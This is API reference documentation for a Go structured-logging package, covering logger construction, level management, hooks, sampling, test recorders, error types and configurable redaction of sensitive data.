type IntegrityStats added in v1.2.0

type IntegrityStats struct {
	Sequence         uint64 // Current sequence number
	Algorithm        string // Hash algorithm name
	IncludeTimestamp bool   // Whether timestamps are included
	IncludeSequence  bool   // Whether sequence numbers are included
}

IntegrityStats holds integrity signer statistics.

type JSONFieldNames

type JSONFieldNames = internal.JSONFieldNames

JSONFieldNames configures custom field names for JSON output.

type JSONOptions

type JSONOptions = internal.JSONOptions

JSONOptions configures JSON output format.

func DefaultJSONOptions

func DefaultJSONOptions() *JSONOptions

DefaultJSONOptions returns default JSON options.

type LevelLogger added in v1.2.0

type LevelLogger interface {
	CoreLogger

	// Level management
	GetLevel() LogLevel
	SetLevel(level LogLevel) error
	IsLevelEnabled(level LogLevel) bool
	IsDebugEnabled() bool
	IsInfoEnabled() bool
	IsWarnEnabled() bool
	IsErrorEnabled() bool
	IsFatalEnabled() bool
}

LevelLogger extends CoreLogger with level management methods.

type LevelResolver added in v1.2.0

type LevelResolver func(ctx context.Context) LogLevel

LevelResolver is a function that determines the effective log level at runtime. This allows dynamic log level adjustment based on runtime conditions such as system load, error rate, or time of day. The function is called for each log entry, so it should be efficient.

Example:

// Adjust level based on system load
resolver := func(ctx context.Context) LogLevel {
    if getCPULoad() > 0.8 {
        return LevelWarn  // Only log warnings and above under high load
    }
    return LevelDebug
}
logger.SetLevelResolver(resolver)

type LogEntry added in v1.2.2

type LogEntry struct {
	Level     LogLevel
	Message   string
	Fields    []Field
	Timestamp time.Time
	Format    LogFormat
	RawOutput string // Original formatted output
}

LogEntry represents a captured log entry for testing purposes.

type LogFormat

type LogFormat = internal.LogFormat

LogFormat defines the output format for log messages.

const (
	FormatText LogFormat = internal.LogFormatText
	FormatJSON LogFormat = internal.LogFormatJSON
)

type LogIntegrity added in v1.2.0

type LogIntegrity struct {
	// Valid indicates if the signature is valid.
	Valid bool
	// Timestamp is the timestamp from the log entry (if included).
	Timestamp time.Time
	// Sequence is the sequence number (if included).
	Sequence uint64
	// Message is the extracted message without signature.
	Message string
}

LogIntegrity contains the result of integrity verification.

type LogLevel

type LogLevel = internal.LogLevel

Re-export log level types and constants

func GetLevel added in v1.2.0

func GetLevel() LogLevel

GetLevel returns the current log level of the default logger.

type LogProvider added in v1.2.0

type LogProvider interface {
	// Level management
	GetLevel() LogLevel
	SetLevel(level LogLevel) error
	IsLevelEnabled(level LogLevel) bool
	IsDebugEnabled() bool
	IsInfoEnabled() bool
	IsWarnEnabled() bool
	IsErrorEnabled() bool
	IsFatalEnabled() bool

	// Core logging methods
	Log(level LogLevel, args ...any)
	Logf(level LogLevel, format string, args ...any)
	LogWith(level LogLevel, msg string, fields ...Field)

	// Convenience methods - Debug level
	Debug(args ...any)
	Debugf(format string, args ...any)
	DebugWith(msg string, fields ...Field)

	// Convenience methods - Info level
	Info(args ...any)
	Infof(format string, args ...any)
	InfoWith(msg string, fields ...Field)

	// Convenience methods - Warn level
	Warn(args ...any)
	Warnf(format string, args ...any)
	WarnWith(msg string, fields ...Field)

	// Convenience methods - Error level
	Error(args ...any)
	Errorf(format string, args ...any)
	ErrorWith(msg string, fields ...Field)

	// Convenience methods - Fatal level
	Fatal(args ...any)
	Fatalf(format string, args ...any)
	FatalWith(msg string, fields ...Field)

	// Field chaining
	WithFields(fields ...Field) *LoggerEntry
	WithField(key string, value any) *LoggerEntry

	// Writer management
	AddWriter(writer io.Writer) error
	RemoveWriter(writer io.Writer) error
	WriterCount() int

	// Lifecycle
	Flush() error
	Close() error
	IsClosed() bool

	// Configuration
	SetSecurityConfig(config *SecurityConfig)
	GetSecurityConfig() *SecurityConfig
	SetWriteErrorHandler(handler WriteErrorHandler)

	// Context extractors
	AddContextExtractor(extractor ContextExtractor) error
	SetContextExtractors(extractors ...ContextExtractor) error
	GetContextExtractors() []ContextExtractor

	// Hooks
	AddHook(event HookEvent, hook Hook) error
	SetHooks(registry *HookRegistry) error
	GetHooks() *HookRegistry

	// Sampling
	SetSampling(config *SamplingConfig)
	GetSampling() *SamplingConfig

	// Debug utilities
	Print(args ...any)
	Println(args ...any)
	Printf(format string, args ...any)
	Text(data ...any)
	Textf(format string, args ...any)
	JSON(data ...any)

	// Filter goroutine monitoring
	ActiveFilterGoroutines() int32
	WaitForFilterGoroutines(timeout time.Duration) bool
}

LogProvider is the full interface combining all logging capabilities. This interface enables dependency injection, mocking, and testing. The concrete Logger type implements this interface.

Example usage with dependency injection:

type Service struct {
    logger dd.LogProvider
}

func NewService(logger dd.LogProvider) *Service {
    return &Service{logger: logger}
}

// In production
logger, _ := dd.New()
service := NewService(logger)

// In tests
mockLogger := &MockLogger{}
service := NewService(mockLogger)

type Logger

type Logger struct {
	// contains filtered or unexported fields
}

func Default

func Default() *Logger

Default returns the default global logger (thread-safe). The logger is created on first call with default configuration. Package-level convenience functions use this logger. Note: If SetDefault() is called before Default(), the custom logger is returned.

To check if the default logger was initialized correctly, use DefaultInitError() or DefaultWithErr():

if err := dd.DefaultInitError(); err != nil {
    // Logger is running in fallback mode
}

func DefaultWithErr added in v1.2.0

func DefaultWithErr() (*Logger, error)

DefaultWithErr returns the default logger and any initialization error. This is useful when you need to verify the default logger was created correctly.

Example:

logger, err := dd.DefaultWithErr()
if err != nil {
    // Handle initialization error
    log.Fatalf("Failed to initialize default logger: %v", err)
}
logger.Info("Application started")

func New

func New(cfgs ...*Config) (*Logger, error)

New creates a new Logger with the provided configuration. If no configuration is provided, default settings are used.

Example:

// Simple usage with defaults
logger, _ := dd.New()
logger.Info("hello")

// With custom configuration
cfg := dd.DefaultConfig()
cfg.Level = dd.LevelDebug
cfg.Format = dd.FormatJSON
logger, _ := dd.New(cfg)

func ToAll

func ToAll(filename ...string) (*Logger, error)

ToAll creates a logger that outputs to both console and file. If no filename is provided, uses the default path "logs/app.log". The format is text (human-readable).

Example:

logger, err := dd.ToAll()
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func ToAllJSON added in v1.2.0

func ToAllJSON(filename ...string) (*Logger, error)

ToAllJSON creates a logger that outputs to both console and file in JSON format. If no filename is provided, uses the default path "logs/app.log".

Example:

logger, err := dd.ToAllJSON()
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func ToConsole

func ToConsole() (*Logger, error)

ToConsole creates a logger that outputs to stdout only. The format is text (human-readable).

Example:

logger, err := dd.ToConsole()
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func ToFile

func ToFile(filename ...string) (*Logger, error)

ToFile creates a logger that outputs to a file only. If no filename is provided, uses the default path "logs/app.log". The format is text (human-readable).

Example:

logger, err := dd.ToFile()
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

// Custom filename
logger, err := dd.ToFile("logs/myapp.log")

func ToJSONFile

func ToJSONFile(filename ...string) (*Logger, error)

ToJSONFile creates a logger that outputs to a file in JSON format only. If no filename is provided, uses the default path "logs/app.log".

Example:

logger, err := dd.ToJSONFile()
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func ToWriter added in v1.2.0

func ToWriter(w io.Writer) (*Logger, error)

ToWriter creates a logger that outputs to the provided writer.

Example:

var buf bytes.Buffer
logger, err := dd.ToWriter(&buf)
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func ToWriters added in v1.2.0

func ToWriters(writers ...io.Writer) (*Logger, error)

ToWriters creates a logger that outputs to multiple writers.

Example:

logger, err := dd.ToWriters(os.Stdout, fileWriter)
if err != nil {
    log.Fatal(err)
}
defer logger.Close()

func (*Logger) ActiveFilterGoroutines added in v1.2.0

func (l *Logger) ActiveFilterGoroutines() int32

ActiveFilterGoroutines returns the number of currently active filter goroutines in the security filter. This can be used for monitoring and detecting potential goroutine leaks in high-concurrency scenarios. A consistently high count may indicate that filter operations are timing out frequently.

func (*Logger) AddContextExtractor added in v1.2.0

func (l *Logger) AddContextExtractor(extractor ContextExtractor) error

AddContextExtractor adds a context extractor to the logger (thread-safe). Extractors are called in order to extract fields from context during logging. If the logger has no extractors, the provided extractor becomes the first one. Returns ErrNilExtractor if the extractor is nil, or ErrLoggerClosed if the logger is closed.

func (*Logger) AddHook added in v1.2.0

func (l *Logger) AddHook(event HookEvent, hook Hook) error

AddHook registers a hook for a specific event type (thread-safe). Hooks are called in order during the logging lifecycle. Returns ErrNilHook if the hook is nil, or ErrLoggerClosed if the logger is closed.

func (*Logger) AddWriter

func (l *Logger) AddWriter(writer io.Writer) error

AddWriter adds a writer to the logger in a thread-safe manner.

func (*Logger) Close

func (l *Logger) Close() error

Close closes the logger and all associated resources (thread-safe). If multiple writers fail to close, all errors are collected and returned. Triggers OnClose hooks before closing writers.

func (*Logger) Debug

func (l *Logger) Debug(args ...any)

func (*Logger) DebugWith

func (l *Logger) DebugWith(msg string, fields ...Field)

func (*Logger) Debugf

func (l *Logger) Debugf(format string, args ...any)

func (*Logger) Error

func (l *Logger) Error(args ...any)

func (*Logger) ErrorWith

func (l *Logger) ErrorWith(msg string, fields ...Field)

func (*Logger) Errorf

func (l *Logger) Errorf(format string, args ...any)

func (*Logger) Fatal

func (l *Logger) Fatal(args ...any)

Fatal logs a message at FATAL level and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use Error() with custom logic.

func (*Logger) FatalWith

func (l *Logger) FatalWith(msg string, fields ...Field)

FatalWith logs a structured message at FATAL level and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use ErrorWith() with custom logic.

func (*Logger) Fatalf

func (l *Logger) Fatalf(format string, args ...any)

Fatalf logs a formatted message at FATAL level and terminates the program via os.Exit(1). WARNING: defer statements will NOT execute. For graceful shutdown, use Errorf() with custom logic.

func (*Logger) Flush added in v1.2.0

func (l *Logger) Flush() error

Flush flushes all buffered writers (thread-safe). Writers that implement Flusher interface will be flushed.

func (*Logger) GetContextExtractors added in v1.2.0

func (l *Logger) GetContextExtractors() []ContextExtractor

GetContextExtractors returns a copy of the current context extractors (thread-safe). Returns nil if no custom extractors are registered.

func (*Logger) GetFieldValidation added in v1.2.0

func (l *Logger) GetFieldValidation() *FieldValidationConfig

GetFieldValidation returns the current field validation configuration. Returns nil if no validation is configured.

func (*Logger) GetHooks added in v1.2.0

func (l *Logger) GetHooks() *HookRegistry

GetHooks returns a copy of the current hook registry (thread-safe). Returns nil if no hooks are registered.

func (*Logger) GetLevel

func (l *Logger) GetLevel() LogLevel

GetLevel returns the current log level (thread-safe).

func (*Logger) GetLevelResolver added in v1.2.0

func (l *Logger) GetLevelResolver() LevelResolver

GetLevelResolver returns the current level resolver function. Returns nil if no resolver is set.

func (*Logger) GetSampling added in v1.2.0

func (l *Logger) GetSampling() *SamplingConfig

GetSampling returns the current sampling configuration (thread-safe). Returns nil if sampling is not enabled.

func (*Logger) GetSecurityConfig

func (l *Logger) GetSecurityConfig() *SecurityConfig

GetSecurityConfig returns a copy of the current security configuration (thread-safe). Returns DefaultSecurityConfig() if no security config has been set. The returned config is a clone, so modifications do not affect the logger's config. For internal use within the logger, use getSecurityConfig() which returns the original.

func (*Logger) Info

func (l *Logger) Info(args ...any)

func (*Logger) InfoWith

func (l *Logger) InfoWith(msg string, fields ...Field)

func (*Logger) Infof

func (l *Logger) Infof(format string, args ...any)

func (*Logger) IsClosed added in v1.2.0

func (l *Logger) IsClosed() bool

IsClosed returns true if the logger has been closed (thread-safe).

func (*Logger) IsDebugEnabled added in v1.2.0

func (l *Logger) IsDebugEnabled() bool

IsDebugEnabled returns true if debug level logging is enabled.

func (*Logger) IsErrorEnabled added in v1.2.0

func (l *Logger) IsErrorEnabled() bool

IsErrorEnabled returns true if error level logging is enabled.

func (*Logger) IsFatalEnabled added in v1.2.0

func (l *Logger) IsFatalEnabled() bool

IsFatalEnabled returns true if fatal level logging is enabled.

func (*Logger) IsInfoEnabled added in v1.2.0

func (l *Logger) IsInfoEnabled() bool

IsInfoEnabled returns true if info level logging is enabled.

func (*Logger) IsLevelEnabled added in v1.2.0

func (l *Logger) IsLevelEnabled(level LogLevel) bool

IsLevelEnabled checks if logging is enabled for the given level (thread-safe). Returns true if the logger's level is at or below the specified level.

Example:

if logger.IsLevelEnabled(dd.LevelDebug) {
    // Expensive debug computation only when debug is enabled
    logger.DebugWith("Details", dd.Any("data", computeExpensiveDebugInfo()))
}

func (*Logger) IsWarnEnabled added in v1.2.0

func (l *Logger) IsWarnEnabled() bool

IsWarnEnabled returns true if warn level logging is enabled.

func (*Logger) JSON added in v1.1.1

func (l *Logger) JSON(data ...any)

JSON outputs data as JSON to stdout for debugging.

func (*Logger) JSONF added in v1.1.1

func (l *Logger) JSONF(format string, args ...any)

JSONF outputs formatted JSON to stdout for debugging.

func (*Logger) Log

func (l *Logger) Log(level LogLevel, args ...any)

Log logs a message at the specified level

func (*Logger) LogWith

func (l *Logger) LogWith(level LogLevel, msg string, fields ...Field)

LogWith logs a structured message with fields at the specified level

func (*Logger) Logf added in v1.0.5

func (l *Logger) Logf(level LogLevel, format string, args ...any)

Logf logs a formatted message at the specified level

func (*Logger) Print added in v1.1.0

func (l *Logger) Print(args ...any)

Print writes to configured writers with caller info and newline. Uses LevelInfo for filtering. Arguments are joined with spaces. Applies sensitive data filtering based on SecurityConfig.

func (*Logger) Printf added in v1.1.0

func (l *Logger) Printf(format string, args ...any)

Printf formats according to a format specifier and writes to configured writers with caller info. Uses LevelInfo for filtering.

func (*Logger) Println added in v1.1.0

func (l *Logger) Println(args ...any)

Println writes to configured writers with caller info and newline. Uses LevelInfo for filtering. Applies sensitive data filtering based on SecurityConfig.

Note: Behaves identically to Print() because the underlying Log() method always adds a trailing newline. This differs from fmt.Println behavior.

func (*Logger) RemoveWriter

func (l *Logger) RemoveWriter(writer io.Writer) error

RemoveWriter removes a writer from the logger in a thread-safe manner.

func (*Logger) SetContextExtractors added in v1.2.0

func (l *Logger) SetContextExtractors(extractors ...ContextExtractor) error

SetContextExtractors replaces all context extractors with the provided list (thread-safe). Pass no arguments to clear all extractors (which will use default behavior). Returns ErrLoggerClosed if the logger is closed.

func (*Logger) SetFieldValidation added in v1.2.0

func (l *Logger) SetFieldValidation(config *FieldValidationConfig)

SetFieldValidation sets the field validation configuration (thread-safe). This allows runtime adjustment of field key validation.

Example:

// Enable strict snake_case validation
logger.SetFieldValidation(dd.StrictSnakeCaseConfig())

func (*Logger) SetHooks added in v1.2.0

func (l *Logger) SetHooks(registry *HookRegistry) error

SetHooks replaces the hook registry with the provided one (thread-safe). Pass nil to clear all hooks. Returns ErrLoggerClosed if the logger is closed.

func (*Logger) SetLevel

func (l *Logger) SetLevel(level LogLevel) error

SetLevel atomically sets the log level (thread-safe).

func (*Logger) SetLevelResolver added in v1.2.0

func (l *Logger) SetLevelResolver(resolver LevelResolver)

SetLevelResolver sets a dynamic level resolver function (thread-safe). The resolver is called for each log entry to determine the effective log level. This allows runtime adjustment of log levels based on conditions like system load, error rates, or request context. Set to nil to disable dynamic resolution.

Example:

// Adaptive logging based on error rate
var errorCount atomic.Int64
logger.SetLevelResolver(func(ctx context.Context) LogLevel {
    if errorCount.Load() > 100 {
        return LevelWarn  // Reduce logging under high error rate
    }
    return LevelDebug
})

func (*Logger) SetSampling added in v1.2.0

func (l *Logger) SetSampling(config *SamplingConfig)

SetSampling enables or disables log sampling at runtime (thread-safe). Pass nil to disable sampling. Note: This method creates a copy of the config to avoid mutating the caller's data.

func (*Logger) SetSecurityConfig

func (l *Logger) SetSecurityConfig(config *SecurityConfig)

SetSecurityConfig atomically sets the security configuration (thread-safe).

func (*Logger) SetWriteErrorHandler added in v1.2.0

func (l *Logger) SetWriteErrorHandler(handler WriteErrorHandler)

SetWriteErrorHandler sets a callback for handling write errors (thread-safe). When a write operation fails, the handler is called with the writer and error. If no handler is set, write errors are silently ignored.

func (*Logger) Shutdown added in v1.2.0

func (l *Logger) Shutdown(ctx context.Context) error

Shutdown gracefully closes the logger with a timeout. This is the recommended way to close a logger in production environments.

The method performs the following steps:

  1. Marks the logger as closed to prevent new log entries
  2. Triggers OnClose hooks with the provided context
  3. Waits for any in-flight operations to complete
  4. Flushes and closes all writers with the specified timeout

If the timeout is exceeded, Shutdown returns a context.DeadlineExceeded error along with any other errors that occurred during shutdown.

Recommended usage:

logger, _ := dd.New(dd.DefaultConfig())
defer func() {
    ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
    defer cancel()
    if err := logger.Shutdown(ctx); err != nil {
        fmt.Fprintf(os.Stderr, "Logger shutdown error: %v\n", err)
    }
}()

func (*Logger) Text added in v1.0.2

func (l *Logger) Text(data ...any)

Text outputs data as pretty-printed format to stdout for debugging.

SECURITY WARNING: This method does NOT apply sensitive data filtering. Do not use with sensitive data in production environments. For secure logging, use logger.Info(), logger.Debug(), etc. which apply sensitive data filtering.

func (*Logger) Textf added in v1.0.3

func (l *Logger) Textf(format string, args ...any)

Textf outputs formatted text to stdout for debugging.

func (*Logger) WaitForFilterGoroutines added in v1.2.0

func (l *Logger) WaitForFilterGoroutines(timeout time.Duration) bool

WaitForFilterGoroutines waits for all active filter goroutines to complete or until the timeout is reached.

IMPORTANT: Call this method before Close() in graceful shutdown scenarios to prevent goroutine leaks. The security filter may spawn background goroutines for processing large inputs with regex patterns. Failing to wait for these goroutines can result in resource leaks.

Example graceful shutdown:

// 1. Stop accepting new requests/logs
// 2. Wait for filter goroutines (use 2-5 seconds typically)
if !logger.WaitForFilterGoroutines(3 * time.Second) {
    log.Println("Warning: some filter goroutines did not complete in time")
}
// 3. Close the logger
logger.Close()

Returns true if all goroutines completed, false if timeout was reached.

func (*Logger) Warn

func (l *Logger) Warn(args ...any)

func (*Logger) WarnWith

func (l *Logger) WarnWith(msg string, fields ...Field)

func (*Logger) Warnf

func (l *Logger) Warnf(format string, args ...any)

func (*Logger) WithField added in v1.2.0

func (l *Logger) WithField(key string, value any) *LoggerEntry

WithField returns a LoggerEntry with a single pre-set field. This is a convenience method equivalent to WithFields with a single field.

Example:

entry := logger.WithField("request_id", "abc123")

func (*Logger) WithFields added in v1.2.0

func (l *Logger) WithFields(fields ...Field) *LoggerEntry

WithFields returns a LoggerEntry with pre-set fields. The fields are inherited by all logging calls on the returned entry.

Example:

entry := logger.WithFields(dd.String("service", "api"), dd.String("version", "1.0"))
entry.Info("request received") // Contains service and version fields
entry.WithFields(dd.String("user", "john")).Info("user action") // Contains all three fields

func (*Logger) WriterCount added in v1.2.0

func (l *Logger) WriterCount() int

WriterCount returns the number of registered writers (thread-safe).

type LoggerEntry added in v1.2.0

type LoggerEntry struct {
	// contains filtered or unexported fields
}

LoggerEntry represents a logger with pre-set fields. Fields are inherited and merged with additional fields passed to logging methods. LoggerEntry is immutable - each WithFields call returns a new entry.

func WithField added in v1.2.0

func WithField(key string, value any) *LoggerEntry

WithField returns a LoggerEntry with a single pre-set field using the default logger.

Example:

dd.WithField("request_id", "abc123").Info("processing request")

func WithFields added in v1.2.0

func WithFields(fields ...Field) *LoggerEntry

WithFields returns a LoggerEntry with pre-set fields using the default logger. The fields are inherited by all logging calls on the returned entry.

Example:

dd.WithFields(dd.String("service", "api"), dd.String("version", "1.0")).
    Info("request received")

func (*LoggerEntry) Debug added in v1.2.0

func (e *LoggerEntry) Debug(args ...any)

func (*LoggerEntry) DebugWith added in v1.2.0

func (e *LoggerEntry) DebugWith(msg string, fields ...Field)

func (*LoggerEntry) Debugf added in v1.2.0

func (e *LoggerEntry) Debugf(format string, args ...any)

func (*LoggerEntry) Error added in v1.2.0

func (e *LoggerEntry) Error(args ...any)

func (*LoggerEntry) ErrorWith added in v1.2.0

func (e *LoggerEntry) ErrorWith(msg string, fields ...Field)

func (*LoggerEntry) Errorf added in v1.2.0

func (e *LoggerEntry) Errorf(format string, args ...any)

func (*LoggerEntry) Fatal added in v1.2.0

func (e *LoggerEntry) Fatal(args ...any)

func (*LoggerEntry) FatalWith added in v1.2.0

func (e *LoggerEntry) FatalWith(msg string, fields ...Field)

func (*LoggerEntry) Fatalf added in v1.2.0

func (e *LoggerEntry) Fatalf(format string, args ...any)

func (*LoggerEntry) Info added in v1.2.0

func (e *LoggerEntry) Info(args ...any)

func (*LoggerEntry) InfoWith added in v1.2.0

func (e *LoggerEntry) InfoWith(msg string, fields ...Field)

func (*LoggerEntry) Infof added in v1.2.0

func (e *LoggerEntry) Infof(format string, args ...any)

func (*LoggerEntry) Log added in v1.2.0

func (e *LoggerEntry) Log(level LogLevel, args ...any)

Log logs a message at the specified level with the entry's fields.

func (*LoggerEntry) LogWith added in v1.2.0

func (e *LoggerEntry) LogWith(level LogLevel, msg string, fields ...Field)

LogWith logs a structured message with the entry's fields plus additional fields.

func (*LoggerEntry) Logf added in v1.2.0

func (e *LoggerEntry) Logf(level LogLevel, format string, args ...any)

Logf logs a formatted message at the specified level with the entry's fields.

func (*LoggerEntry) Print added in v1.2.1

func (e *LoggerEntry) Print(args ...any)

Print writes to configured writers with caller info and the entry's fields. Uses LevelInfo for filtering. Arguments are joined with spaces.

func (*LoggerEntry) Printf added in v1.2.1

func (e *LoggerEntry) Printf(format string, args ...any)

Printf formats according to a format specifier and writes to configured writers with caller info and the entry's fields. Uses LevelInfo for filtering.

func (*LoggerEntry) Println added in v1.2.1

func (e *LoggerEntry) Println(args ...any)

Println writes to configured writers with caller info and the entry's fields. Uses LevelInfo for filtering. Note: Behaves identically to Print() because Log() already adds a newline.

func (*LoggerEntry) Warn added in v1.2.0

func (e *LoggerEntry) Warn(args ...any)

func (*LoggerEntry) WarnWith added in v1.2.0

func (e *LoggerEntry) WarnWith(msg string, fields ...Field)

func (*LoggerEntry) Warnf added in v1.2.0

func (e *LoggerEntry) Warnf(format string, args ...any)

func (*LoggerEntry) WithField added in v1.2.0

func (e *LoggerEntry) WithField(key string, value any) *LoggerEntry

WithField returns a new LoggerEntry with a single additional field. This is a convenience method equivalent to WithFields with a single field.

Example:

entry := logger.WithField("request_id", "abc123")

func (*LoggerEntry) WithFields added in v1.2.0

func (e *LoggerEntry) WithFields(fields ...Field) *LoggerEntry

WithFields returns a new LoggerEntry with additional fields. Fields are merged with existing fields, with new fields overriding existing ones.

Example:

entry := logger.WithFields(dd.String("service", "api"))
entry2 := entry.WithFields(dd.String("version", "1.0"))
entry2.Info("request received") // Contains both service and version fields

type LoggerError added in v1.2.0

type LoggerError struct {
	Code    string         // Machine-readable error code (e.g., "INVALID_LEVEL")
	Message string         // Human-readable message
	Cause   error          // Underlying error (for wrapping)
	Context map[string]any // Additional context for debugging
}

LoggerError represents a structured error with additional context. It implements error, Unwrap(), and Is() interfaces for fine-grained error matching.

Example usage:

logger, err := dd.New(config)
if err != nil {
    var loggerErr *dd.LoggerError
    if errors.As(err, &loggerErr) {
        fmt.Printf("Error code: %s\n", loggerErr.Code)
        fmt.Printf("Context: %v\n", loggerErr.Context)
    }
    if errors.Is(err, dd.ErrInvalidLevel) {
        // Handle invalid level specifically
    }
}

func NewError added in v1.0.6

func NewError(code, message string) *LoggerError

NewError creates a new LoggerError with the given code and message.

func WrapError added in v1.2.0

func WrapError(code, message string, cause error) *LoggerError

WrapError wraps an existing error with a code and message. If the error is nil, returns nil.

func (*LoggerError) Error added in v1.2.0

func (e *LoggerError) Error() string

Error implements the error interface.

func (*LoggerError) Is added in v1.2.0

func (e *LoggerError) Is(target error) bool

Is enables matching against sentinel errors using errors.Is(). This allows LoggerError instances to match their corresponding sentinel errors.

func (*LoggerError) Unwrap added in v1.2.0

func (e *LoggerError) Unwrap() error

Unwrap returns the underlying cause for use with errors.Is() and errors.As().

func (*LoggerError) WithContext added in v1.2.0

func (e *LoggerError) WithContext(key string, value any) *LoggerError

WithContext adds context to a LoggerError. Returns a new LoggerError with the context added.

func (*LoggerError) WithField added in v1.2.0

func (e *LoggerError) WithField(key string, value any) *LoggerError

WithField adds a field to the LoggerError context. This is an alias for WithContext for naming consistency with Logger.

type LoggerRecorder added in v1.2.2

type LoggerRecorder struct {
	// contains filtered or unexported fields
}

LoggerRecorder captures log entries for testing. It implements io.Writer and can be used as a logger output. Thread-safe for concurrent use.

func NewLoggerRecorder added in v1.2.2

func NewLoggerRecorder() *LoggerRecorder

NewLoggerRecorder creates a new LoggerRecorder. The format parameter specifies the expected log format for parsing.

Example:

recorder := dd.NewLoggerRecorder()
cfg := dd.DefaultConfig()
cfg.Output = recorder.Writer()
logger, _ := dd.New(cfg)
logger.Info("test message")
entries := recorder.Entries()

func (*LoggerRecorder) Clear added in v1.2.2

func (r *LoggerRecorder) Clear()

Clear removes all captured log entries.

func (*LoggerRecorder) ContainsField added in v1.2.2

func (r *LoggerRecorder) ContainsField(key string) bool

ContainsField returns true if any entry contains a field with the specified key.

func (*LoggerRecorder) ContainsMessage added in v1.2.2

func (r *LoggerRecorder) ContainsMessage(msg string) bool

ContainsMessage returns true if any entry contains the specified message.

func (*LoggerRecorder) Count added in v1.2.2

func (r *LoggerRecorder) Count() int

Count returns the number of captured log entries.

func (*LoggerRecorder) Entries added in v1.2.2

func (r *LoggerRecorder) Entries() []LogEntry

Entries returns all captured log entries. Returns a copy to prevent modification of internal state.

func (*LoggerRecorder) EntriesAtLevel added in v1.2.2

func (r *LoggerRecorder) EntriesAtLevel(level LogLevel) []LogEntry

EntriesAtLevel returns all entries at the specified log level.

func (*LoggerRecorder) GetFieldValue added in v1.2.2

func (r *LoggerRecorder) GetFieldValue(key string) any

GetFieldValue returns the value of the first field with the specified key, or nil if no such field exists.

func (*LoggerRecorder) HasEntries added in v1.2.2

func (r *LoggerRecorder) HasEntries() bool

HasEntries returns true if at least one entry has been captured.

func (*LoggerRecorder) LastEntry added in v1.2.2

func (r *LoggerRecorder) LastEntry() *LogEntry

LastEntry returns the most recent log entry, or nil if no entries exist.

func (*LoggerRecorder) NewLogger added in v1.2.2

func (r *LoggerRecorder) NewLogger(cfgs ...*Config) *Logger

NewLogger creates a new Logger configured to write to this recorder. This is a convenience method for quickly creating a test logger.

Example:

recorder := dd.NewLoggerRecorder()
logger := recorder.NewLogger()
logger.Info("test")

func (*LoggerRecorder) SetFormat added in v1.2.2

func (r *LoggerRecorder) SetFormat(format LogFormat)

SetFormat sets the expected log format for parsing. This should match the format configured in the logger.

func (*LoggerRecorder) Writer added in v1.2.2

func (r *LoggerRecorder) Writer() io.Writer

Writer returns an io.Writer for use with logger configuration. The writer captures all log output for later inspection.

type MultiWriter

type MultiWriter struct {
	// contains filtered or unexported fields
}

func NewMultiWriter

func NewMultiWriter(writers ...io.Writer) *MultiWriter

func (*MultiWriter) AddWriter

func (mw *MultiWriter) AddWriter(w io.Writer) error

func (*MultiWriter) Close

func (mw *MultiWriter) Close() error

func (*MultiWriter) RemoveWriter

func (mw *MultiWriter) RemoveWriter(w io.Writer) error

func (*MultiWriter) Write

func (mw *MultiWriter) Write(p []byte) (int, error)

type MultiWriterError added in v1.2.0

type MultiWriterError struct {
	Errors []WriterError // Collection of writer errors
}

MultiWriterError collects errors from multiple writers. This is returned by MultiWriter.Write() when one or more writers fail.

func (*MultiWriterError) AddError added in v1.2.0

func (e *MultiWriterError) AddError(index int, writer io.Writer, err error)

AddError adds a writer error to the collection.

func (*MultiWriterError) Error added in v1.2.0

func (e *MultiWriterError) Error() string

Error implements the error interface.

func (*MultiWriterError) ErrorCount added in v1.2.0

func (e *MultiWriterError) ErrorCount() int

ErrorCount returns the number of errors collected.

func (*MultiWriterError) FirstError added in v1.2.0

func (e *MultiWriterError) FirstError() error

FirstError returns the first error that occurred.

func (*MultiWriterError) HasErrors added in v1.2.0

func (e *MultiWriterError) HasErrors() bool

HasErrors returns true if any errors were collected.

func (*MultiWriterError) Unwrap added in v1.2.0

func (e *MultiWriterError) Unwrap() []error

Unwrap returns all underlying errors for use with errors.As(). Note: errors.Is() will check against each wrapped error.

type SamplingConfig added in v1.2.0

type SamplingConfig struct {
	// Enabled controls whether sampling is active.
	Enabled bool
	// Initial is the number of messages that are always logged before sampling begins.
	// This ensures visibility of initial burst traffic.
	Initial int
	// Thereafter is the sampling rate after Initial messages.
	// A value of 10 means log 1 out of every 10 messages.
	Thereafter int
	// Tick is the time interval after which counters are reset.
	// This allows sampling to restart periodically for burst handling.
	Tick time.Duration
}

SamplingConfig configures log sampling for high-throughput scenarios. Sampling reduces log volume by only recording a subset of messages.

func GetSampling added in v1.2.0

func GetSampling() *SamplingConfig

GetSampling returns the sampling configuration for the default logger.

type SecurityConfig

type SecurityConfig struct {
	MaxMessageSize  int
	MaxWriters      int
	SensitiveFilter *SensitiveDataFilter
}

func DefaultSecureConfig added in v1.2.0

func DefaultSecureConfig() *SecurityConfig

DefaultSecureConfig returns a security config with full sensitive data filtering enabled. This includes all patterns from basic filtering plus additional patterns for emails, IP addresses, JWT tokens, and database connection strings. Use this for maximum security in production environments.

func DefaultSecurityConfig

func DefaultSecurityConfig() *SecurityConfig

DefaultSecurityConfig returns a security config with basic sensitive data filtering enabled. This provides out-of-the-box protection for common sensitive data like passwords, API keys, credit cards, and phone numbers.

This is the recommended default for production use. For development environments where performance is critical and data sensitivity is low, consider using SecurityConfigForLevel(SecurityLevelDevelopment) instead.

func FinancialConfig added in v1.2.0

func FinancialConfig() *SecurityConfig

FinancialConfig returns a security config optimized for PCI-DSS compliance. This includes all patterns from DefaultSecureConfig plus financial-specific patterns:

  • SWIFT/BIC codes
  • IBAN (International Bank Account Numbers)
  • CVV/CVC security codes
  • Additional card number formats

Use this configuration for applications in banking, payment processing, fintech, and other financial services environments.

func GovernmentConfig added in v1.2.0

func GovernmentConfig() *SecurityConfig

GovernmentConfig returns a security config optimized for government and public sector. This includes all patterns from DefaultSecureConfig plus government-specific patterns:

  • US Passport numbers
  • US Driver's License numbers
  • US Tax ID / EIN
  • UK National Insurance Numbers
  • Canadian Social Insurance Numbers

Use this configuration for applications in government, public sector, defense, and regulated identity management environments.

func HealthcareConfig added in v1.2.0

